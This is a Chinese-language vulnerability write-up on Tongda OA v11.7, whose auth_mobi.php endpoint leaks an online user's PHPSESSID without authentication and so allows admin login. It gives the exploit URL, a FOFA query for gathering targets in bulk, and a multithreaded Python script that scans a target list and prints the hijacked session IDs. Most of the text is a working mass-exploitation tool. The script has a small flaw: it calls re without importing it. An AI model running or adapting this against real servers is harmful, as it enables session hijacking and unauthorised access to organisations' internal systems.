漏洞描述
通达OA v11.7 中webroot\mobile\auth_mobi.php接口存在漏洞,无验证即可查询某个用户是否在线并返回PHPSESSION值使其可登录后台系统。
漏洞影响
通达OA V11.7
漏洞复现
首先访问http://xx.xx.xx.xx/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
,如果页面时空白的,则说明管理员在线,即可以利用。
已经获取到了cookie,此时再访问http://xx.xx.xx.xx/general/
即可进入后台。
如果显示RELOGIN,则不可以利用
批量扫描
先用fofa批量收集目标,然后用poc脚本批量扫描。
app="TDXK-通达OA"
POC检测脚本:
import requests
import sys
import random
import time
import threading
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def title():
print('+------------------------------------------')
print('+ \033[34mVersion: 通达OA 11.7 在线任意用户登录漏洞 ')
print('+ \033[34mVersion: 用法:目标放在url.txt 然后 python3 poc.py ')
print('+------------------------------------------')
def POC_1(target_url):
vuln_url = target_url + "/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
if "RELOGIN" in response.text and response.status_code == 200:
print(target_url.replace("\n","") +"\033[31m[x] 目标用户为下线状态 --- {}\033[0m".format(time.asctime( time.localtime(time.time()))))
elif response.status_code == 200 and response.text == "":
PHPSESSION = re.findall(r'PHPSESSID=(.*?);', str(response.headers))
print(target_url.replace("\n","") + "\033[32m[o] 用户上线 PHPSESSION: {} --- {}\033[0m".format(PHPSESSION[0] ,time.asctime(time.localtime(time.time()))))
else:
print("\033[31m[x] 请求失败,目标可能不存在漏洞")
sys.exit(0)
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)
if __name__ == '__main__':
title()
for url in open("url.txt"):
t1 = threading.Thread(target=POC_1, args=(url.replace("\n", ""),))
t1.start()